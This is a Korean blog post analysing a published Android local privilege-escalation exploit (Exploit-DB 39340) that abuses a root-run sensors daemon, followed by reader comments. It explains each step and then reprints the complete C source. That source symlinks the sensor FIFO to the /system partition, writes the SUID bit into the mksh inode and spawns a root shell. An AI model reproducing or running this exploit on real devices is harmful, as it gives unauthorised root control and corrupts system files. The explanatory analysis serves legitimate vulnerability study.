EDB-ID: 39340 CVE: N/A OSVDB-ID: N/A
EDB Verified: Author: s0m3b0dy Published: 2016-01-27
Download Exploit: Source Raw Download Vulnerable App: N/A
이 친구는 sensord를 이용하여 Android system에서 Root 를 탈취할 수 있는 취약점이고
이를 활용하여 sensord가 설치sne된 Device 에서 루팅을 수행할 수 있겠지요.
취약점 원리
Android 내 sensors demon(리눅스에서 온도와, 쿨링펜 속도를 담당하지요..)을 사용할 때 일부 ROM에서 sensorsd가 root 의 권한으로 실행되어 공격자가 sensors 를 이용하여 root 를 획득할 수 있는 취약점입니다.관련해서 원리에 대한 글이나 문서가 없어... 코드를 보고 최대한 나름대로의 해석을 해 보았습니다. 혹시나 잘못된 부분이 있다면 댓글로 주시면 바로 수정하겠습니다.
해당 Exploit 을 제작한 해커는 참 편리하게도, 각각 Step에 따라 함수를 구별해주었습니다.
(귀찮음을 약간 덜었네요)
크게 3가지의 Step으로 Exploit 과정이 진행되며, 과정 중 Reboot도 포함되어 있습니다.
Exploit Code Analysis - main
main은 정말 간단합니다. 각각 step을 의미하는 인자값에 따라 아래 first_step부터 third_step 함수를 호출해줍니다.main -> first_step() -> second_step() -> third_step()
int main(int argc, char **argv)
{
if(argc != 2)
{
print_usage( argv );
return 0;
}
if( strstr( argv[1], "1" ) != NULL) {
if( verify() ) {
disable_autorotate();
first_step(); //create link
}
else
{
printf("[-] It looks likey is not vulnerable!\n");
}
}
else if( strstr( argv[1], "2") != NULL) {
second_step(); //edit ext4(/system) partition(set bit suid)
}
else if( strstr( argv[1], "3") != NULL) {
third_step(); //get root shell
}
else if( strstr( argv[1], "verify") != NULL){
if( verify() )
printf("[+] Should be vulnerable!\n");
else
printf("[-] Not vulnerable!\n");
}
else{
print_usage( argv );
}
return 0;
}
Exploit Code Analysis - first_step
main 만큼이나 간단한 first_step입니다.
// FIFO_DAT 정의구간
#define FIFO_DAT "/data/misc/sensor/fifo_dat"
// ...snip... first_step함수
void first_step()
{
if( access(FIFO_DAT, F_OK) != -1 )
{
unlink(FIFO_DAT);
}
char path[1024];
get_system_dev(path, sizeof(path));
symlink(path, FIFO_DAT);
printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}
get_system_dev 함수를 통해 얻어진 경로를 이용하여 FIFO_DAT과 symlink를 걸어줍니다.해당 함수는 아래와 같이 /proc/mounts를 열고 값을 읽어 strstr함수를 /system의 위치를 찾아 반환하여줍니다.
void get_system_dev( char *ptr, int size )
{
int fd = open("/proc/mounts", O_RDONLY);
int pos = 0, posend = 0, tmppos = 0;
char buff[4096];
char link[1024];
memset(buff, 0, sizeof(buff));
memset(link, 0, sizeof(link));
memset(ptr, 0, size);
if(fd != -1)
{
read(fd, &buff, sizeof(buff));
int sres = (int)strstr(buff, " /system ");
if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) )
{
tmppos = pos;
int i=0;
while( (buff[pos] != '\n') && (pos > 0) ) pos--;
pos++;
strncpy(link, &buff[pos], tmppos - pos);
readlink(link, ptr, size);
}
else
{
printf("[-] Can't find system partition!\n");
close(fd);
exit(0);
}
close(fd);
}
else
{
printf("[-] Can't read /proc/mounts file!\n");
exit(0);
}
}
요약하자면 시스템 파티션을 찾은 후 sensor의 FIFO_DAT과 symlink 하여줍니다.그 후 사용자에게 Reboot을 요청합니다.
Exploit Code Analysis - second_step
first_step 후 reboot 한다음 exploit 코드를 통해 second_step을 실행합니다.흐름을 보면 이 부분에서 본격적인 Exploit 과정이 일어나게 됩니다.
second_step은 실행 시 FIFO_DAT을 unlink 한 후 stat 함수를 통해 파일의 정보를 읽어옵니다.
stat으로 읽어오는건 SH로 정의된 경로이며 해당 부분은 아래와 같습니다.
#define SH "/system/bin/mksh"
//..snip..
char path[1024];
struct stat s;
unlink(FIFO_DAT);
stat(SH, &s);
printf("[+] Looking for inode no.: %llu\n", s.st_ino);
get_system_dev(path, sizeof(path));
/mksh의 정보(inode) 확인 후 get_system_dev로 얻어진 경로를 열어 작업을 시작합니다.
int inodeno = s.st_ino;
struct ext4_super_block super;
struct ext4_group_desc group_descr;
struct ext4_inode inode;
unsigned long int offset=0;
lseek(fd, 0x400, SEEK_SET);
read(fd, &super, sizeof(super));
s.st_ino(inode) 값을 저장해두고 ext4 형태로 구조체 선언 후 lseek을 이용하여 해당 경로(fd)에 0x400 만큼 파일 시작부분에서 건너띕니다. 그리고 파일 데이터를 읽습니다.
lseek(fd, 0x400, SEEK_SET);
read(fd, &super, sizeof(super));
이후 쭉쭉 내려가다 보면 inode.i.size_lo 와 s.st_size를 비교한 후 같다면 write 함수로 fd에 데이터를 쓰게됩니다. 이 부분에서 공격자가 SUID를 fd에 세팅하게 되어 root 를 획득하는 과정으로 보입니다.
if(inode.i_size_lo == s.st_size) {
__le16 mode = 0;
printf("[+] Found inode!\n");
lseek(fd, total_offset, SEEK_SET);
inode.i_mode = inode.i_mode | 0x800;
int modesize = sizeof(inode.i_mode);
int wr = write(fd, &inode.i_mode, modesize);
if( wr == modesize )
{
printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
}
else
{
printf("[-] Can't set bit SUID on %s\n", SH);
}
}
해당 위치에서 inode.i_mode 값을 write 하여 SUID를 세팅합니다.이로써 second_step을 통해 SUID를 세팅하고 root 획득이 되었습니다.
Exploit Code Analysis - third_step
재부팅 후 third_step 은 정말 심플하게, root 됬다는 것을 증명해주는 함수입니다.사실 1,2번만 공격에 사용되는 부분이겠네요.
setuid(0), setgid(0) 으로 권한을 상승합니다.
void third_step()
{
char path[1024];
//chmod(SH, 4755);
setuid(0);
setgid(0);
if(getuid() == 0)
{
get_system_dev(path, sizeof(path));
chmod(path, 0600);
printf("[+] Rooted!\n");
system(SH);
}
else
{
printf("[-] No root here!\n");
exit(0);
}
}
Full Code
// https://www.exploit-db.com/exploits/39340/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <dirent.h>
#include <ctype.h>
#define FIFO_DAT "/data/misc/sensor/fifo_dat"
#define SH "/system/bin/mksh"
struct ext4_super_block {
/*00*/ __le32 s_inodes_count;
__le32 s_blocks_count_lo;
__le32 s_r_blocks_count_lo;
__le32 s_free_blocks_count_lo;
/*10*/ __le32 s_free_inodes_count;
__le32 s_first_data_block;
__le32 s_log_block_size;
__le32 s_log_cluster_size;
/*20*/ __le32 s_blocks_per_group;
__le32 s_clusters_per_group;
__le32 s_inodes_per_group;
__le32 s_mtime;
/*30*/ __le32 s_wtime;
__le16 s_mnt_count;
__le16 s_max_mnt_count;
__le16 s_magic;
__le16 s_state;
__le16 s_errors;
__le16 s_minor_rev_level;
/*40*/ __le32 s_lastcheck;
__le32 s_checkinterval;
__le32 s_creator_os;
__le32 s_rev_level;
/*50*/ __le16 s_def_resuid;
__le16 s_def_resgid;
__le32 s_first_ino;
__le16 s_inode_size;
__le16 s_block_group_nr;
__le32 s_feature_compat;
/*60*/ __le32 s_feature_incompat;
__le32 s_feature_ro_compat;
/*68*/ __u8 s_uuid[16];
/*78*/ char s_volume_name[16];
/*88*/ char s_last_mounted[64];
/*C8*/ __le32 s_algorithm_usage_bitmap;
__u8 s_prealloc_blocks;
__u8 s_prealloc_dir_blocks;
__le16 s_reserved_gdt_blocks;
/*D0*/ __u8 s_journal_uuid[16];
/*E0*/ __le32 s_journal_inum;
__le32 s_journal_dev;
__le32 s_last_orphan;
__le32 s_hash_seed[4];
__u8 s_def_hash_version;
__u8 s_jnl_backup_type;
__le16 s_desc_size;
/*100*/ __le32 s_default_mount_opts;
__le32 s_first_meta_bg;
__le32 s_mkfs_time;
__le32 s_jnl_blocks[17];
/*150*/ __le32 s_blocks_count_hi;
__le32 s_r_blocks_count_hi;
__le32 s_free_blocks_count_hi;
__le16 s_min_extra_isize;
__le16 s_want_extra_isize;
__le32 s_flags;
__le16 s_raid_stride;
__le16 s_mmp_update_interval;
__le64 s_mmp_block;
__le32 s_raid_stripe_width;
__u8 s_log_groups_per_flex;
__u8 s_checksum_type;
__u8 s_encryption_level;
__u8 s_reserved_pad;
__le64 s_kbytes_written;
__le32 s_snapshot_inum;
__le32 s_snapshot_id;
__le64 s_snapshot_r_blocks_count;
__le32 s_snapshot_list;
#define EXT4_S_ERR_START offsetof(struct ext4_super_block, s_error_count)
__le32 s_error_count;
__le32 s_first_error_time;
__le32 s_first_error_ino;
__le64 s_first_error_block;
__u8 s_first_error_func[32];
__le32 s_first_error_line;
__le32 s_last_error_time;
__le32 s_last_error_ino;
__le32 s_last_error_line;
__le64 s_last_error_block;
__u8 s_last_error_func[32];
#define EXT4_S_ERR_END offsetof(struct ext4_super_block, s_mount_opts)
__u8 s_mount_opts[64];
__le32 s_usr_quota_inum;
__le32 s_grp_quota_inum;
__le32 s_overhead_clusters;
__le32 s_backup_bgs[2];
__u8 s_encrypt_algos[4];
__u8 s_encrypt_pw_salt[16];
__le32 s_lpf_ino;
__le32 s_prj_quota_inum;
__le32 s_checksum_seed;
__le32 s_reserved[98];
__le32 s_checksum;
};
struct ext4_group_desc
{
__le32 bg_block_bitmap_lo;
__le32 bg_inode_bitmap_lo;
__le32 bg_inode_table_lo;
__le16 bg_free_blocks_count_lo;
__le16 bg_free_inodes_count_lo;
__le16 bg_used_dirs_count_lo;
__le16 bg_flags;
__le32 bg_exclude_bitmap_lo;
__le16 bg_block_bitmap_csum_lo;
__le16 bg_inode_bitmap_csum_lo;
__le16 bg_itable_unused_lo;
__le16 bg_checksum;
__le32 bg_block_bitmap_hi;
__le32 bg_inode_bitmap_hi;
__le32 bg_inode_table_hi;
__le16 bg_free_blocks_count_hi;
__le16 bg_free_inodes_count_hi;
__le16 bg_used_dirs_count_hi;
__le16 bg_itable_unused_hi;
__le32 bg_exclude_bitmap_hi;
__le16 bg_block_bitmap_csum_hi;
__le16 bg_inode_bitmap_csum_hi;
__u32 bg_reserved;
};
struct ext4_inode {
__le16 i_mode;
__le16 i_uid;
__le32 i_size_lo;
__le32 i_atime;
__le32 i_ctime;
__le32 i_mtime;
__le32 i_dtime;
__le16 i_gid;
__le16 i_links_count;
__le32 i_blocks_lo;
__le32 i_flags;
union {
struct {
__le32 l_i_version;
} linux1;
struct {
__u32 h_i_translator;
} hurd1;
struct {
__u32 m_i_reserved1;
} masix1;
} osd1;
__le32 i_block[15];
__le32 i_generation;
__le32 i_file_acl_lo;
__le32 i_size_high;
__le32 i_obso_faddr;
union {
struct {
__le16 l_i_blocks_high;
__le16 l_i_file_acl_high;
__le16 l_i_uid_high;
__le16 l_i_gid_high;
__le16 l_i_checksum_lo;
__le16 l_i_reserved;
} linux2;
struct {
__le16 h_i_reserved1;
__u16 h_i_mode_high;
__u16 h_i_uid_high;
__u16 h_i_gid_high;
__u32 h_i_author;
} hurd2;
struct {
__le16 h_i_reserved1;
__le16 m_i_file_acl_high;
__u32 m_i_reserved2[2];
} masix2;
} osd2;
__le16 i_extra_isize;
__le16 i_checksum_hi;
__le32 i_ctime_extra;
__le32 i_mtime_extra;
__le32 i_atime_extra;
__le32 i_crtime;
__le32 i_crtime_extra;
__le32 i_version_hi;
};
void print_usage( char ** argv)
{
printf("Have 3 steps. You need to reboot the device after step 1 and step 2.\n");
printf("Usage: %s 1\n", argv[0]);
printf(" %s 2\n", argv[0]);
printf(" %s 3\n", argv[0]);
printf(" %s verify\n", argv[0]);
}
void get_system_dev( char *ptr, int size )
{
int fd = open("/proc/mounts", O_RDONLY);
int pos = 0, posend = 0, tmppos = 0;
char buff[4096];
char link[1024];
memset(buff, 0, sizeof(buff));
memset(link, 0, sizeof(link));
memset(ptr, 0, size);
if(fd != -1)
{
read(fd, &buff, sizeof(buff));
int sres = (int)strstr(buff, " /system ");
if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) )
{
tmppos = pos;
int i=0;
while( (buff[pos] != '\n') && (pos > 0) ) pos--;
pos++;
strncpy(link, &buff[pos], tmppos - pos);
readlink(link, ptr, size);
}
else
{
printf("[-] Can't find system partition!\n");
close(fd);
exit(0);
}
close(fd);
}
else
{
printf("[-] Can't read /proc/mounts file!\n");
exit(0);
}
}
void first_step()
{
if( access(FIFO_DAT, F_OK) != -1 )
{
unlink(FIFO_DAT);
}
char path[1024];
get_system_dev(path, sizeof(path));
symlink(path, FIFO_DAT);
printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}
void second_step()
{
char path[1024];
struct stat s;
unlink(FIFO_DAT);
stat(SH, &s);
printf("[+] Looking for inode no.: %llu\n", s.st_ino);
get_system_dev(path, sizeof(path));
int fd = open(path, O_RDWR);
if( fd != -1 )
{
int inodeno = s.st_ino;
struct ext4_super_block super;
struct ext4_group_desc group_descr;
struct ext4_inode inode;
unsigned long int offset=0;
lseek(fd, 0x400, SEEK_SET);
read(fd, &super, sizeof(super));
int block_size = 1024 << super.s_log_block_size;
int bg = (inodeno-1) /super.s_inodes_per_group;
lseek(fd, block_size + bg * (super.s_desc_size ? super.s_desc_size : sizeof(struct ext4_group_desc) ), SEEK_SET);
read(fd, &group_descr, sizeof(group_descr));
unsigned int index = (inodeno-1) % super.s_inodes_per_group;
unsigned int off = index * super.s_inode_size;
unsigned long total_offset = block_size + (group_descr.bg_inode_table_lo-1) * block_size + off;
lseek(fd, total_offset, SEEK_SET);
read(fd, &inode, sizeof(struct ext4_inode));
if(inode.i_size_lo == s.st_size) {
__le16 mode = 0;
printf("[+] Found inode!\n");
lseek(fd, total_offset, SEEK_SET);
inode.i_mode = inode.i_mode | 0x800;
int modesize = sizeof(inode.i_mode);
int wr = write(fd, &inode.i_mode, modesize);
if( wr == modesize )
{
printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
}
else
{
printf("[-] Can't set bit SUID on %s\n", SH);
}
}
else
{
printf("[-] Can't find inode!\n");
}
close(fd);
}
else
printf("[-] Can't open %s!\n", path);
}
void third_step()
{
char path[1024];
//chmod(SH, 4755);
setuid(0);
setgid(0);
if(getuid() == 0)
{
get_system_dev(path, sizeof(path));
chmod(path, 0600);
printf("[+] Rooted!\n");
system(SH);
}
else
{
printf("[-] No root here!\n");
exit(0);
}
}
bool isSensord(char *spath)
{
char buff[50];
bool res = false;
int fd = open(spath, O_RDONLY);
if(fd != -1)
{
read(fd, buff, 50);
if(strstr(buff, "/system/bin/sensord") != NULL)
{
res = true;
}
close(fd);
}
return res;
}
bool verify()
{
DIR* dir;
struct dirent *entry;
char spath[512];
bool res = false;
struct stat s;
dir = opendir("/proc");
if(dir) {
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_DIR) {
snprintf(spath, 512, "/proc/%s/cmdline", entry->d_name);
if (isSensord(spath)) {
stat(spath, &s);
if (s.st_uid == 0)
res = true;
break;
}
}
}
closedir(dir);
}
return res;
}
void disable_autorotate()
{
printf("[+] Disabling auto-rotate...\n");
system("content insert --uri content://settings/system --bind name:s:accelerometer_rotation --bind value:i:0");
}
int main(int argc, char **argv)
{
if(argc != 2)
{
print_usage( argv );
return 0;
}
if( strstr( argv[1], "1" ) != NULL) {
if( verify() ) {
disable_autorotate();
first_step(); //create link
}
else
{
printf("[-] It looks likey is not vulnerable!\n");
}
}
else if( strstr( argv[1], "2") != NULL) {
second_step(); //edit ext4(/system) partition(set bit suid)
}
else if( strstr( argv[1], "3") != NULL) {
third_step(); //get root shell
}
else if( strstr( argv[1], "verify") != NULL){
if( verify() )
printf("[+] Should be vulnerable!\n");
else
printf("[-] Not vulnerable!\n");
}
else{
print_usage( argv );
}
return 0;
}
Reference
https://www.exploit-db.com/exploits/39340/HAHWULSecurity engineer, Gopher and H4cker! |
대단하십니다...!
ReplyDelete안드 커널, 커롬에 관심이 많아 안드 API 중심적으로 공부 했는데, 이제 시스템 쪽도 공부해보고 싶군요..
혹시 안드로이드 시스템 공부는 어떤 순서가 좋은 지, 어떻게 공부 할지 여쭈어 봐도 될까요?
감사합니다!
안드 커널쪽에 관심 많으신구요. 거기에 커롬까지 오..
Delete순서라.. 음 그냥 하고싶은거 부터 하시는건 어떤가요? 목표는 커널,커롬이니 그 부분부터 집중적으로 하시면서 조금씩 안드로이드 전체적으로 범위를 넓혀가면 어떨가해요. (제 기억에 OS는.. 재미있긴 하지만 헬게이트를 열었기 때문에 흥미있는 부분부터 하는게 좋다고 생각됩니다)
참고만해주세요. 감사합니다 : )
실제 익스플로잇 진행 해보셨나요??
ReplyDelete거의 코드단에서만 분석해서 따로 실행하거나 디버깅하진 않았습니다.
Delete관심있으신거면, 코드 컴파일해서 직접 해보셔도 무방할 것 같네요.